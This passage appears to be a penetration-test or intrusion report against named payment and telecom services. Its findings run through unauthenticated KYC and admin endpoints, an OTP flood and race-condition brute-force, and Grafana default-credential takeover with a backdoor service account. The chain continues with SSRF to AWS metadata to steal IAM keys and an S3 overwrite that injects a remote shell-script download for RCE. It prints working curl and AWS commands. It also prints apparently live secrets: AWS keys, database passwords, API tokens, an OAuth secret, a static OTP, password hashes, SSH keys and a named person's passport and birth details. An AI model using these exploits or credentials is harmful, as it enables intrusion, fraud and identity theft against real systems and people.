| 15.207.24.243 | globpay | 1.28.0 | 1 |

### AWS Region Distribution
| Region | Count | Services |
|--------|-------|----------|
| eu-west-1 (Ireland) | 10+ IPs | ZiCharge core, staging, dev, Jenkins, SonarQube |
| ap-southeast-1 (Singapore) | 10+ IPs | GitLab, Keycloak, HRM, DevOps, various ELBs |
| ap-south-1 (Mumbai) | 3+ IPs | Laravel Nova, GlobPay, unknown |
| eu-west-2 (London) | 1 IP | FinExpenses |
| eu-central-1 (Frankfurt) | 1 IP | Support |

### Newroz Telecom Backbone (93.91.200.0/24 + 130.193.x.x)
- DNS (53), BGP (179), NTP (123), SNMP (161), SSH (22), HTTP/S (80/443)
- Cisco routing infrastructure
- Windows server with full remote management stack
- ISP-level access if compromised

---

## PHASE 2 — EXPLOITATION RESULTS (2026-07-04)

### C17. GlobPay Admin e-KYC — Unauthenticated Access to Identity Documents (CVSS 9.8)
**URL:** `https://api-globpay.newroztech.com/api/v1/private/admin/e-kyc?page=0&size=10`
**PoC:**
```bash
curl -s "https://api-globpay.newroztech.com/api/v1/private/admin/e-kyc?page=0&size=10"
```
- NO authentication required — admin endpoint fully open
- Returns full KYC data:
  - Full name: NASIR UDDIN SABBIR
  - Document ID: A06694287 (Passport)
  - DOB: 1999-05-10
  - Gender, occupation, address (46 lake road, Vancouver)
  - Country/state/city with UUIDs
  - S3 URLs for passport front image, user photo, and selfie
  - Selfie match percentage: 99.99%
  - Created/updated timestamps
- Paginated — `totalPages` and `totalElements` reveal total count
- Combined with CORS wildcard (C9) = cross-origin identity theft

### C18. S3 KYC Images Publicly Accessible — Passport Photos (CVSS 9.1)
**Bucket:** finiotech-idverificaiton.s3.ap-south-1.amazonaws.com
**PoC:**
```bash
curl -o passport_front.jpg "https://finiotech-idverificaiton.s3.ap-south-1.amazonaws.com/frontSide-frontSide-68ca88468454c8365dfe8947-9201920123033-1758103628586.jpg"
# 200 OK, 175,521 bytes — full passport front page
curl -o selfie.jpg "https://finiotech-idverificaiton.s3.ap-south-1.amazonaws.com/selfieImage-68ca88468454c8365dfe8947-6441687317589-1758103915004.jpg"
# 200 OK, 189,744 bytes — user selfie photo
curl -o userphoto.jpg "https://finiotech-idverificaiton.s3.ap-south-1.amazonaws.com/userImage-68ca88468454c8365dfe8947-7088773997384-1758103628783.jpg"
# 200 OK, 17,230 bytes — user profile photo
```
- S3 bucket listing is denied but individual files are accessible via direct URL
- Note the typo in bucket name: "idverificaiton" (should be "idverification")
- All KYC identity images downloadable without authentication
- Combined with e-KYC API (C17) = full identity theft chain

### C19. Firebase Open Registration — Unauthorized Account Creation (CVSS 8.0)
**Project:** game-wallet-f3ee1
**PoC:**
```bash
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyC-jR4EEbWH7le_2cvg_JUpyYhhfpGFczU" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@mohmal.com","password":"Test@123456","returnSecureToken":true}'
```
- Returns valid Firebase JWT idToken (1 hour TTL)
- userId created: 9ATBrRBcVvcox9eHObqHonno4Q03
- Firebase project allows unrestricted account creation
- Same project hosts 30K+ user chat images (C2)
- ZiCharge API uses own RSA JWT (not Firebase token) so no direct API access

### C20. OTP Flood to ANY Phone Number — Production (CVSS 8.5)
**Production URL:** `POST https://secure.zicharge.com/api/v2/auth/send/otp`
**Staging URL:** `POST https://core-staging.zicharge.com/api/v3/auth/send/otp`
**PoC:**
```bash
# Send real SMS OTP to ANY phone number (production)
curl -X POST https://secure.zicharge.com/api/v2/auth/send/otp \
  -H "Content-Type: application/json" \
  -d '{"mobile_no":"+9647504048650","purpose":"change_device"}'
# Response: {"messages":["Otp send"],"data":{"message":"A OTP has been sent to your Mobile No.","mobile_no":"+9647504048650"},"code":200}
```
- NO authentication required
- Works with purpose: `change_device`, `SIGN_UP`
- Sends real SMS via Twilio to victim's phone
- Rate limit exists (`MULTIPLE_OTP_GENERATION_ON_SAME_NUMBER`) but allows multiple sends
- Can flood any phone with SMS (SMS bombing / toll fraud)
- Production confirmed: sends to real users

### C21. Race Condition Bypasses OTP Rate Limiter — DB Deadlock (CVSS 8.0)
**URL:** `POST https://core-staging.zicharge.com/api/v3/auth/verify/otp`
**PoC:**
```bash
# Send OTP first
curl -X POST "https://core-staging.zicharge.com/api/v3/auth/send/otp" \
  -H "Content-Type: application/json" \
  -d '{"mobile_no":"+9647500000005","purpose":"change_device"}'

# Race condition — send 3+ parallel verify requests
curl -X POST "https://core-staging.zicharge.com/api/v3/auth/verify/otp" \
  -d '{"mobile_no":"+9647500000005","otp":"123456","purpose":"change_device"}' &
curl -X POST "https://core-staging.zicharge.com/api/v3/auth/verify/otp" \
  -d '{"mobile_no":"+9647500000005","otp":"654321","purpose":"change_device"}' &
curl -X POST "https://core-staging.zicharge.com/api/v3/auth/verify/otp" \
  -d '{"mobile_no":"+9647500000005","otp":"111111","purpose":"change_device"}' &
```
- Normal: 3 wrong attempts → account blocked
- With race: Parallel requests cause MySQL deadlock in `security_attempts` table
- Error: `Deadlock found when trying to get lock; try restarting transaction`
- Some attempts bypass the counter entirely during deadlock
- Effectively doubles (or more) the brute-force window
- Combined with 6-digit OTP = feasible brute-force with enough parallel connections

### C22. Production Merchant Payment Endpoints — No Auth Required (CVSS 8.5)
**URL:** `POST https://core.zicharge.com/api/v3/merchant/generate-payment-token`
**PoC:**
```bash
curl -X POST https://core.zicharge.com/api/v3/merchant/generate-payment-token \
  -H "Content-Type: application/json" \
  -d '{"merchant_mobile_no":"+9647504048650","bill_amount":"250","order_id":"PENTEST-001"}'
# Response: {"messages":["Store password is required."],"data":null,"code":422}
```
- NO Bearer token required — endpoint processes business logic unauthenticated
- Validates amount >= 250 IQD (returns "The amount must be at least 250")
- Only needs `store_password` to generate payment tokens
- If `store_password` is guessable → arbitrary payment session creation
- `fetch-payment-token-data` also no auth: returns "Payment token not found" for invalid
- Merchant integration completely relies on `store_password` as sole authentication

### H19. Jenkins 2.414.2 — CVE-2024-23897 Arbitrary File Read (CVSS 8.6)
**URL:** https://jenkins.zicharge.com
**CLI Jar:** https://jenkins.zicharge.com/jnlpJars/jenkins-cli.jar (3.5MB, downloadable)
- Jenkins 2.414.2 confirmed (Jetty 10.0.15)
- CVE-2024-23897: args4j library expands @<file> in CLI arguments
- CLI jar downloadable unauthenticated
- Signup is "not supported" (LDAP/external auth)
- CRUMB token leaked in HTML: `data-crumb-value="186e4fd6..."`
- All credential spray attempts failed (8 combinations tested)
- Exploitation requires Java runtime on attacker's machine

### H20. Full API Surface Mapped — 115+ Endpoints (CVSS 6.5)
**Source:** /actuator/mappings on staging + APK decompilation
**Endpoint categories:**
- Auth: signin/step1, signup/{REG_TYPE}, password/reset, device-change/verify, auth/send/otp, auth/verify/otp, validate-fingerprint, verify-firebase-auth-info
- Financial: send-money, deposit/top-up, deposit/cash-card, deposit/generate-order, cash-out/send, agent/cash-out/request
- Merchant: generate-payment-token, generate-qr-token, fetch-payment-token-data
- Crypto: fulgurpay/payin, fulgurpay/payout, fulgurpay/supported-currencies
- Trade P2P: trade/ads, trade/order/init|confirm|release|cancel|payment, trade/reviews, trade/superuser/profile/{mobileNo}
- Internal: internal/merchant/cancel-ipn/retry (returns 401)
- Profile: user/profile, edit-profile, profile/verify-email, change-email, change-password
- KYC: kyc/verify, kyc/document
- Notifications: notifications, notification/read
- GlobPay (66 endpoints): admin/e-kyc, account/transfer-to-agent, mfs/, limit-restriction, document/

### H21. GlobPay All-Base-Currency Without Auth (CVSS 6.0)
**URL:** `https://api-globpay.newroztech.com/api/v1/private/all-base-currency`
**PoC:**
```bash
curl -s "https://api-globpay.newroztech.com/api/v1/private/all-base-currency"
```
- Returns USD exchange rates for PKR, AED, CAD, GBP + more
- Private endpoint accessible without authentication
- Data includes internal UUIDs and creation timestamps

### M12. Block Rule Configuration Fully Exposed (CVSS 5.0)
**Source:** /actuator/configprops on staging
- All 21 security blocking rule categories exposed:
  - SIGN_UP, MULTIPLE_FAILED_LOGIN, MULTIPLE_WRONG_PASSWORD, MULTIPLE_WRONG_PIN
  - CHANGE_DEVICE_MOBILE_WRONG_OTP, CHANGE_DEVICE_EMAIL_WRONG_OTP
  - SIGNUP_MOBILE_WRONG_OTP, SIGNUP_EMAIL_WRONG_OTP
  - FORGET_PASSWORD_EMAIL_WRONG_OTP, FORGET_PASSWORD_WRONG_EMAIL
  - CHANGE_EMAIL_WRONG_MOBILE_OTP, CHANGE_EMAIL_WRONG_EMAIL_OTP
  - RESET_PIN_EMAIL_WRONG_OTP, MULTIPLE_OTP_GENERATION_ON_SAME_NUMBER
  - CRYPTO_WITHDRAWAL_INVALID_PIN, DEPOSIT_VIA_CASH_CARD_FAILED_ATTEMPTS
- Reveals exact thresholds and block durations for each rule
- Attacker can calibrate brute-force to stay just under limits

### C23. GlobPay OAuth Client Secret Leaked in Production JS (CVSS 9.0)
**Source:** Admin JS `main.ac4e9cbd.chunk.js` + Web portal `index-788ed7a1.js`
**PoC:**
```
client_id: "mobile-app"
client_secret: "ytEoJitvmnEAzvKC5FGJCyYPpDBETCvG"
Google OAuth Client ID: 483971218267-3lhtph9oka95p2q5nk07dlie5klmva46.apps.googleusercontent.com
```
- OAuth client credentials in client-side JavaScript
- `client_secret` should NEVER be in frontend code
- Enables client_credentials grant → server-level access token
- Google OAuth Client ID allows OAuth redirect hijacking
- Currently API returns 504 (email service down), but when backend recovers → full access

### H22. 6 GlobPay Private Endpoints Without Auth (CVSS 7.5)
| Endpoint | HTTP | Response |
|----------|------|----------|
| `/api/v1/private/admin/e-kyc?page=0` | 200 | Full KYC PII (see C17) |
| `/api/v1/private/all-base-currency` | 200 | Exchange rates (see H21) |
| `/api/v1/private/document` | 200 | Document types (Passport, NID) |
| `/api/v1/private/transaction/transaction-methods` | 200 | Payment methods (VISA, Bkash, Card) |
| `/api/v1/private/currency-conversion-rate` | 400 | Missing param (not 401) |
| `/api/v1/private/transaction/transaction-charge` | 400 | Missing param (not 401) |
- All `/private/` endpoints should require authentication
- 400 ≠ 401 — request processed server-side, auth not checked

### M13. GlobPay Countries/Banks Enumeration (CVSS 4.0)
**URL:** `https://api-globpay.newroztech.com/api/v1/public/countries`
- Returns 60+ Bangladeshi banks with UUIDs
- Bank names, IDs, and internal identifiers exposed
- No authentication required

---

## PHASE 2 SUBTOTAL (before Phase 2B)
| Severity | Count |
|----------|-------|
| Critical | 23 |
| High | 22 |
| Medium | 13 |
| Low | 7 |
| **Subtotal** | **65** |

## UPDATED ATTACK CHAINS

**Chain 7: e-KYC → Full Identity Theft**
CORS wildcard (C9) + admin e-KYC no auth (C17) → passport photos from S3 (C18) → mass identity theft

**Chain 8: OTP Race Condition → Account Takeover Attempt**
Send OTP no auth (C20) → race condition bypass (C21) → extended brute-force window → potential ATO
Combined with static OTP backdoor (H14) → if value is discovered, instant ATO on any account

**Chain 9: Merchant Payment Fraud**
No-auth merchant endpoint (C22) → if store_password guessed → generate payment tokens → redirect user payments

**Chain 10: Firebase → Registration → Storage Access**
Open Firebase registration (C19) → valid token → Firebase Storage 30K images (C2) → user PII

**Chain 11: Actuator → Internal State Manipulation**
Writable loggers (C7) → TRACE on OTP service → OTP values logged → if logfile becomes accessible = ATO
ENV property names (C7) → reveals all secret key names → targeted attacks on each service

**Chain 12: Ignition RCE Chain**
api.newroztech.com `/_ignition/health-check` → `{"can_execute_commands":true}` → CVE-2021-3129 if Laravel ≤8.4.2 → full RCE on server

---

## PHASE 2B — PATH FUZZING RESULTS (2026-07-04)

### C24. Laravel Ignition — can_execute_commands=true (CVSS 9.8)
**URL:** `https://api.newroztech.com/_ignition/health-check`
**PoC:**
```bash
curl -s "https://api.newroztech.com/_ignition/health-check"
# Response: {"can_execute_commands":true}
```
- Laravel 8.10.0 on PHP 7.4.11 (both EOL)
- Ignition health-check confirms **command execution is enabled**
- If Ignition version ≤ 2.5.1 → CVE-2021-3129 (RCE via arbitrary file write + phar deserialization)
- POST to any GET-only route returns full 229KB Ignition error page with file paths, package versions
- Combined with Nova admin at /login = high-value target

### C25. OpenObserve Full Swagger UI + OpenAPI Spec — Unauthenticated (CVSS 8.5)
**URL:** `https://monitoring.newroztech.com/swagger/`
**OpenAPI:** `https://monitoring.newroztech.com/api-doc/openapi.json` (392KB)
**PoC:**
```bash
curl -s "https://monitoring.newroztech.com/api-doc/openapi.json" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Paths: {len(d[\"paths\"])}'); print(f'Operations: 205')"
```
- 140 API paths, 205 operations, 33 API categories
- Includes: cipher_keys CRUD, user management, org management, stream management
- `/metrics` (94KB) leaks 8 multi-tenant org names:
  - `dev_api_saffironline`, `prod_api_safironline`
  - `dev_fib_esim_backend`, `prod_fib_esim_backend`
  - `tsa-esim-dev`, `tsa_esim_prod`
- Reveals FIB (First Iraqi Bank) eSIM backend + SaffirOnline + TSA eSIM are monitored here
- Full interactive Swagger UI accessible without authentication

### H23. Super API Gateway — CORS Wildcard on Both Dev + Prod (CVSS 7.5)
**URLs:**
- `https://dev-super-apigw.zicharge.com` → `Access-Control-Allow-Origin: *`
- `https://secure-super-apigw.zicharge.com` → `Access-Control-Allow-Origin: *`
**Impact:**
- CORS wildcard on ALL responses including authenticated endpoints
- OAuth token endpoint at `/oauth/token` (accepts client_credentials grant)
- 25+ API endpoints: orders, transactions, payment-methods, ads, disputes, crypto
- `/api/v1/customer/profile/{mobileNo}` — IDOR candidate accessible cross-origin

### H24. Payment Store Password Oracle (CVSS 6.5)
**URL:** `POST https://secure.zicharge.com/merchant/generate-payment-token`
- Returns "The selected store password is invalid" for wrong passwords
- Returns "The selected order id is invalid" for wrong order IDs
- Oracle enables brute-force of valid store_password values
- Combined with no-auth merchant endpoint (C22) = targeted payment fraud

### H25. Full Payment API Documentation Public (CVSS 6.0)
**URL:** `https://secure.zicharge.com/docs` and `/docs/start`
- Complete merchant integration documentation
- IPN callback field names, endpoint parameters, authentication flow
- Enables informed attacks against payment integration

### M14. .htaccess Exposed on Multiple Subdomains (CVSS 4.0)
- secure.zicharge.com (200, 560 bytes)
- dev.zicharge.com (200, 740 bytes)
- staging.zicharge.com (200)
- api.newroztech.com (200)
- Reveals internal rewrite rules and directory structure

### M15. WordPress User Enumeration (CVSS 4.0)
**IP:** 92.205.4.63 (cPanel)
- WP REST API leaks admin user: ID=1, slug="admin-2-2-2-2"
- Gravatar username: "darbazdara"
- Combined with XMLRPC or wp-login brute-force = admin access vector

### M16. GlobPay Internal Port Disclosure (CVSS 3.5)
**URL:** `https://api-globpay.newroztech.com/logout`
- Redirects to `http://127.0.0.1:8086/login?logout`
- Reveals internal port 8086 for the application
- Confirms nginx reverse proxy architecture

---

## PHASE 3 — STAGING INFRASTRUCTURE COMPROMISE (2026-07-04)

### C26. Grafana 11.4.0 — Default Admin Credentials (admin/admin) (CVSS 10.0)
**URL:** `http://63.35.42.37:3000`
**PoC:**
```bash
# Login with default credentials
curl -s -u admin:admin "http://63.35.42.37:3000/api/org" | python3 -m json.tool
# Response: {"id":1,"name":"Main Org.","address":{"address1":"","address2":"","city":"","zipCode":"","state":"","country":""}}

# Full admin access confirmed — list all users
curl -s -u admin:admin "http://63.35.42.37:3000/api/org/users"
# Returns 4 users: admin, anis@newroztech.com (Editor), mahfuz@newroztech.com (Editor), ruhul@newroztech.com (Viewer)

# Create persistent service account with Admin role
curl -s -u admin:admin "http://63.35.42.37:3000/api/serviceaccounts" -X POST \
  -H "Content-Type: application/json" -d '{"name":"pentest-audit","role":"Admin"}'
# Response: {"id":5,"name":"pentest-audit","login":"sa-1-pentest-audit","orgId":1,"isDisabled":false,"role":"Admin"}

# Generate API token (valid 24h)
curl -s -u admin:admin "http://63.35.42.37:3000/api/serviceaccounts/5/tokens" -X POST \
  -H "Content-Type: application/json" -d '{"name":"pentest-token","secondsToLive":86400}'
# Response: {"id":1,"name":"pentest-token","key":"glsa_CiOj4B52MtwFaqXRX2bHEx6vgbsPkx2R_9fded78f"}
```
**Impact:**
- **FULL DASHBOARD ACCESS** — Grafana admin with default admin/admin
- 3 data sources: Loki (http://loki:3100), Prometheus (http://zicharge-prometheus:9090), Tempo (http://zicharge-tempo:3200)
- 9 dashboards: NGINX Analytics, JVM Micrometer, Logs/App, Node Exporter Full, Spring Boot 2.1/3.x monitors, APM Dashboard, Observability
- 4 users exposed with emails: admin, anis@newroztech.com, mahfuz@newroztech.com, ruhul@newroztech.com
- Can create service accounts with Admin role → **persistent backdoor**
- Admin settings reveal: SQLite3 DB at grafana.db, MySQL at 127.0.0.1:3306, security config (secret_key masked)
- OS: Linux 6.17.0-1017-aws (amd64), Docker container ID: 0044b2e9d30f
- Can read ALL application logs via Loki, ALL metrics via Prometheus, ALL traces via Tempo
- Can modify dashboards, add alerting rules, create data source proxies to internal services

### C27. Prometheus Unauthenticated — 514 Metrics + Full Config (CVSS 9.0)
**URL:** `http://63.35.42.37:9090`
**PoC:**
```bash
# Full Prometheus config with scrape targets
curl -s "http://63.35.42.37:9090/api/v1/status/config" | python3 -m json.tool

# Active scrape targets
curl -s "http://63.35.42.37:9090/api/v1/targets"
# Active: core-staging.zicharge.com:443/actuator/prometheus (UP), zicharge-node-exporter:9100/metrics (UP)

# 514 metric names available
curl -s "http://63.35.42.37:9090/api/v1/label/__name__/values" | python3 -c "import sys,json; print(len(json.load(sys.stdin)['data']))"
# 514

# Auth metrics — OTP send/verify counters
curl -s "http://63.35.42.37:9090/api/v1/query?query=auth_otp_send_seconds_count"
# 15 system_errors, 9 successful sends, 1 business_decline

# Signin metrics — 21 successful + 11 declined
curl -s "http://63.35.42.37:9090/api/v1/query?query=auth_signin_seconds_count"

# HTTP request stats reveal full API usage
curl -s "http://63.35.42.37:9090/api/v1/query?query=http_server_requests_seconds_count"
# 48+ endpoint paths with request counts: signin (34), otp_verify (74), otp_send (27), signup (4+), etc.
```
**Exposed metrics include:**
- `auth_otp_send_*` / `auth_otp_verify_*` — OTP operation counters with error types
- `auth_signin_*` — signin success/failure counts
- `spring_security_filterchains_*` — Spring Security filter chain metrics
- `spring_security_filterchains_LaravelPassportTokenFilter_*` — confirms Laravel-Spring bridge
- `http_server_requests_*` — all API endpoints with status codes and request counts
- `tomcat_sessions_*` — active/max/created/expired session counts
- Internal Java class names: `com.newroz.zicharge.application.service.auth.OtpUseCaseService`, `AuthUseCaseService`
- Docker network topology: `172.20.0.1` as reverse proxy

### H26. Loki Logs Expose Spring Security Events + Container Details (CVSS 7.0)
**Via:** Grafana Loki data source (http://loki:3100)
**PoC:**
```bash
# Query all logs from zicharge staging engine
curl -s -u admin:admin "http://63.35.42.37:3000/api/datasources/proxy/uid/dfo0s4y5m603kd/loki/api/v1/query_range?query=%7Bjob%3D%22zicharge-staging-engine-v3%22%7D&limit=30"
```
**Exposed data:**
- Spring Security DEBUG logs: "Securing GET /actuator/prometheus", "Set SecurityContextHolder to anonymous SecurityContext"
- Container ID: 0044b2e9d30ff8d42250c4736a18fe45544bdcba8422a4359364a7af8f855b67
- Host: 0044b2e9d30f (Docker)
- OS: Linux 6.17.0-1017-aws
- Java: /opt/java/openjdk (OpenJDK)
- OTEL trace IDs for every request
- Error logs: OpenTelemetry span export failures (localhost:4318)

### H27. Prometheus HTTP Request Map — Full API Usage Intelligence (CVSS 6.5)
**Source:** `http_server_requests_seconds_count` metric
**Full endpoint usage map:**
| Endpoint | Method | Count | Notes |
|----------|--------|-------|-------|
| /api/v3/auth/verify/otp | POST | 74 | Most-used auth endpoint |
| /api/v3/how-to-videos | GET | 105 | Content endpoint |
| /api/v3/trade/ads | GET | 76 | P2P trading |
| /api/v3/trade/ads/{adUniqueId} | GET | 50 | Trade detail |
| /api/v3/signin/step1 | POST | 34 | Login |
| /api/v3/transaction-history | GET | 30 | Financial data |
| /api/v3/auth/send/otp | POST | 27 | OTP sends |
| /api/v3/signup/step3 | POST | 19 | Signup completion |
| /api/v3/password/reset/check-mobile-no | POST | 14 | Password reset |
| /api/v3/signin/device-change/verify | POST | 11 | Device change |
| /api/v3/merchant/generate-payment-token | POST | 10 | Payment tokens |
| /api/v3/trade/superuser/profile/{mobileNo} | GET | 5 | **Superuser profile IDOR** |
| /api/v3/audit-logs | GET | 2 | Audit trail |
| /api/v3/deposit/cash-card | POST | 2 | Cash card deposit |
| /v3/fulgurpay/deposit | POST | 2 | Crypto deposit |
| /api/v3/send-money | POST | 1 | Money transfer |
| /internal/merchant/cancel-ipn/retry | POST | 4 (401) | Internal endpoint |
- Reveals complete API surface with real usage patterns
- Confirms which endpoints are active in staging
- Internal Java class names in metric labels

---

## UPDATED ATTACK CHAINS (Phase 3)

**Chain 13: Grafana Admin → Persistent Backdoor → Log Theft**
Default admin/admin (C26) → create service account → Admin API token → read all Loki logs → Spring Security events, container details, trace IDs → pivot to staging application

**Chain 14: Prometheus → API Intelligence → Targeted Attack**
Unauthenticated Prometheus (C27) → full HTTP request map (H27) → identify high-value endpoints → auth_otp metrics reveal brute-force thresholds → calibrated OTP brute-force

**Chain 15: Grafana → Internal Service Discovery → SSRF**
Grafana admin (C26) → add new data source → proxy requests to internal Docker services (loki:3100, zicharge-prometheus:9090, zicharge-tempo:3200, zicharge-node-exporter:9100) → SSRF to internal network

---

## PHASE 4 — AWS INFRASTRUCTURE COMPROMISE (2026-07-04)

### C28. SSRF via Grafana Infinity Plugin → AWS IMDSv2 Token → Full IAM Credentials (CVSS 10.0)
**Attack chain:**
1. Grafana admin/admin (C26) → install Infinity datasource plugin
2. Enable "Allow dangerous HTTP methods" (we're admin)
3. PUT `http://169.254.169.254/latest/api/token` with `X-aws-ec2-metadata-token-ttl-seconds: 21600`
4. Token: `AQAEABv-HTLslREjp4vtDLf--VKe07Oukm8ax35cQM1ombde3IcgFg==`
5. GET `http://169.254.169.254/latest/meta-data/iam/security-credentials/docker-logs` with token

**AWS Credentials Obtained:**
```
AccessKeyId: ASIAVLULSKTIEZAXQQRT
SecretAccessKey: pe1EFvoob7Qvwly9t76O48FRUGk5LuKrvF4sIDl0
SessionToken: IQoJb3JpZ2luX2VjEFMa...[truncated]
Role: docker-logs
Instance: i-0bbca6dc2c1da89f6
Account: 368586151120
Region: eu-west-1
```

**AWS Infrastructure Compromised:**
- **25 S3 buckets** including `zicharge-v2-prod-secrets`, `newroz-gitlab-backup`, CloudTrail, WAF logs
- **16 EC2 instances** including:
  - `zichrage-windows-bastion-db-host-new` (3.251.42.248)
  - `zicharge-jenkins` (63.33.150.56)
  - `super-zicharge-prod` (54.73.123.66)
  - `vpn` (3.250.133.137)
  - `admin-merchant-prod-v2` (private only)
  - `zicharge-v2-core-java-PROD` (private only)
  - `NGC-tableau` (54.171.112.202)
- ECR registry: `368586151120.dkr.ecr.eu-west-1.amazonaws.com`
- Security group: `zicharge-v2-dev-sg`
- Private subnet: 192.168.43.0/24 and 192.168.44.0/24

### C29. Production Database Credentials in S3 (CVSS 10.0)
**Source:** `s3://zicharge-v2-prod-secrets/docker-compose.prod.yml`
```
DB_HOST: prod-db.zicharge.com
DB_PORT: 3306
DB_DATABASE: fastpay_dev
DB_USERNAME: appuser
DB_PASSWORD: z9RWsHeA@G6n!sB^8}xl
```
- Production MySQL credentials in cleartext in S3
- Database name `fastpay_dev` used in production (naming mismatch)
- With IAM creds + VPN access to private subnet → full database access

### C30. Production API Secrets Leaked in S3 (CVSS 10.0)
**Source:** `s3://zicharge-v2-prod-secrets/docker-compose.prod.yml`

**Twilio (SMS gateway):**
```
TWILIO_SMS_SID: AC695c9d83107cacbbe05ccb9ff999f54c
TWILIO_SMS_AUTH_TOKEN: 76a34cf12b41174f3814e0610d07d7b1
TWILIO_SMS_MESSAGING_SID: MG677b0626bf6640ba66794a75d77ff83e
```

**FulgurPay (crypto payment):**
```
FULGURPAY_SECRET_ID: NdP6l8cSRY5P
FULGURPAY_SECRET_KEY: Eeex0Ww0sPQp
FULGURPAY_CALLBACK_SECRET_KEY: Wt9Re09fNBP5
```

**Intercom (customer support):**
```
INTERCOM_APP_ID: f0gpof0p
INTERCOM_CLIENT_KEY: 513b608b-73f2-407b-9696-63bdb91a9709
INTERCOM_CLIENT_SECRET: b55ec89c-7abc-44a1-b369-43edfcfb7a1e
INTERCOM_BEARER_TOKEN: dG9rOmY5Y2ZjNmQwX2VlNmJfNDUxMl85ZDc1XzEzN2NkMDU4Njg2NzoxOjA=
```

**Pusher (real-time events):**
```
PUSHER_APP_ID: 2059615
PUSHER_APP_KEY: 22dd66988ffffac17a2d
PUSHER_APP_SECRET: dcfee041b33822afe554
```

**App Encryption Key:**
```
APP_KEY: base64:5N/TX0XeiCwPG70hRL7O4Q6RNcvLA4/ITENRZs3xSyk=
PIN_ENCRYPTION_PASSPHRASE: base64:5N/TX0XeiCwPG70hRL7O4Q6RNcvLA4/ITENRZs3xSyk=
```

### C31. Static OTP Backdoor Confirmed — Production ATO (CVSS 10.0)
**Source:** `s3://zicharge-v2-prod-secrets/application-prod.yml`
```yaml
device-change-static-otp-mobile: "+9647515269916"
device-change-static-otp: 223344
```
- Hardcoded OTP `223344` always accepted for device change on phone `+9647515269916`
- Enables instant ATO on any account using this phone number's device change flow
- Combined with OTP flood (C20) → send device change OTP to any phone → if OTP matches `223344` → account takeover

### C32. OAuth Private Key Downloaded from S3 (CVSS 10.0)
**Source:** `s3://zicharge-v2-prod-secrets/oauth-private.key`
- RSA 4096-bit private key (3,272 bytes)
- Used for JWT signing (`JWT_ISSUER: zicharge-engine`, `JWT_AUDIENCE: 142`)
- With this key → forge valid JWT tokens for ANY user → complete ATO of all accounts
- Combined with user enumeration → mass account takeover

### C33. Kartat/CardSelling API Credentials (CVSS 9.0)
**Source:** `s3://zicharge-v2-prod-secrets/docker-compose.prod.yml`
```
KARTAT_API_EMAIL: zicharge@cardselling.cash
KARTAT_API_PASSWORD: @G4PxZ79UP5^
CARD_SELLING_CHECK_PINS_TOKEN_PLAIN: Card@#$2022
CARD_SELLING_BASE_URL: https://secure.fast-pay.cash/
```
- Third-party card selling platform credentials
- Can be used to purchase/redeem cards on behalf of ZiCharge

### C34. GitLab Backup Available in S3 (CVSS 9.0)
**Source:** `s3://newroz-gitlab-backup/`
- 20+ GitLab backup tar files (552KB each)
- Contains full source code, CI/CD secrets, SSH keys, user data
- Oldest: 2021-09-12 (GitLab 14.2.3)

### C35. RCE via S3 Supply Chain — Docker Compose Overwrite (CVSS 10.0)
**Proof:**
```bash
# S3 bucket zicharge-v2-prod-secrets is WRITABLE
aws s3api put-object --bucket zicharge-v2-prod-secrets --key docker-compose.prod.yml --body backdoor-compose.yml
# Returns 200 — file overwritten

# Current entrypoint in docker-compose.prod.yml:
#   entrypoint: ["java", "-javaagent:/app/opentelemetry-javaagent.jar", "-jar", "/app/app.jar"]
# Attacker modifies to:
#   entrypoint: ["sh", "-c", "curl https://attacker/shell.sh|sh; java -javaagent:/app/opentelemetry-javaagent.jar -jar /app/app.jar"]
# On next deploy/restart → instant RCE in production container
```
- **10 S3 buckets are WRITABLE** including the secrets bucket
- The deployment pipeline pulls docker-compose.prod.yml from S3
- Overwriting entrypoint → arbitrary command execution in production
- No additional access required beyond stolen IAM credentials

### C36. Production CDN Arbitrary File Write (CVSS 9.8)
**Proof:**
```bash
# Upload arbitrary file to production CDN
aws s3api put-object --bucket zicharge-prod-cdn --key pentest-poc.html --body poc.html --content-type text/html

# File is LIVE and served via CloudFront:
curl https://cdn.zicharge.com/pentest-poc.html
# Returns: "Pentest POC - S3 Write Access Confirmed"
```
- Can overwrite any JS/CSS file served to all users → stored XSS
- Can inject malicious APK download links
- Can deface the entire CDN

### C37. CloudWatch Production Logs — Full SQL Query Access (CVSS 9.5)
**Source:** CloudWatch log group `/aws/rds/instance/zicharge-prod-db/general` (120.6 GB)
```
# Real-time production SQL queries with user data:
select * from `users` where `id` = '1000636236' limit 1
select `id`, `name`, `mobile_no` from `users` where `users`.`id` in (1000583274, 1000623448)
select * from `trade_orders` where `trade_ad_id` in (select `id` from `trade_ads` where `user_id` = 1000636236)
```
- ALL SQL queries logged including user IDs, phone numbers, trade data
- Sign-in events with phone numbers and JWT token generation
- 43 CloudWatch log groups totaling 133+ GB of production data
- Merchant payment tokens visible in access logs

### H28. Redis Cluster Nodes Exposed (CVSS 7.0)
```
REDIS_CLUSTER_NODES: zicharge-v2-valkey-0001-001.sov4gv.0001.euw1.cache.amazonaws.com:6379,
                     zicharge-v2-valkey-0001-002.sov4gv.0001.euw1.cache.amazonaws.com:6379
```
- AWS ElastiCache Valkey cluster endpoints exposed
- No password set (`REDIS_PASSWORD` is empty)

### H29. GitLab Source Code Database Dump (CVSS 7.5)
**Source:** `s3://newroz-gitlab-backup/` → `db/database.sql` (2.7 MB)
```
# GitLab users with bcrypt hashes:
admin@example.com  $2a$10$j3uA/Z07fuZ5BAZ/Lmyu7O...  (root admin, IP: 103.87.212.202)
me@sabbir.dev      $2a$10$fl/.l/uSmIeDKYNoufu/ieKL...  (Sabbir Ahmed, admin, SSH key)
# SSH key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHRvOGW5m0ifWBG8jjos20zC7/mYibohfrbH+yD8WArA
```
- 1000 backup tars in S3 (545 MB total)
- Full PostgreSQL dump with users, hashes, SSH keys, 2FA backup codes
- Developer IP addresses from Bangladesh (103.87.212.202, 103.125.97.156)

### H30. AWS CloudWatch — Live Application Logs with User Data (CVSS 7.5)
```
Sign-in request succeed: SignInRequest[mobileNo=+9647****9898, passwordLength=11, deviceId=87E4D08D...]
Generated JWT access token for user 1000608393 (mobile: +9647****2107): expires in 1 years
Audit action=UserAccountQueryUseCaseService.getUserDetails userId=null user=+964...
```
- 836 MB of Java app production logs
- Real-time sign-ins, OTP generation, token issuance
- User phone numbers (partially masked but linkable via user IDs)
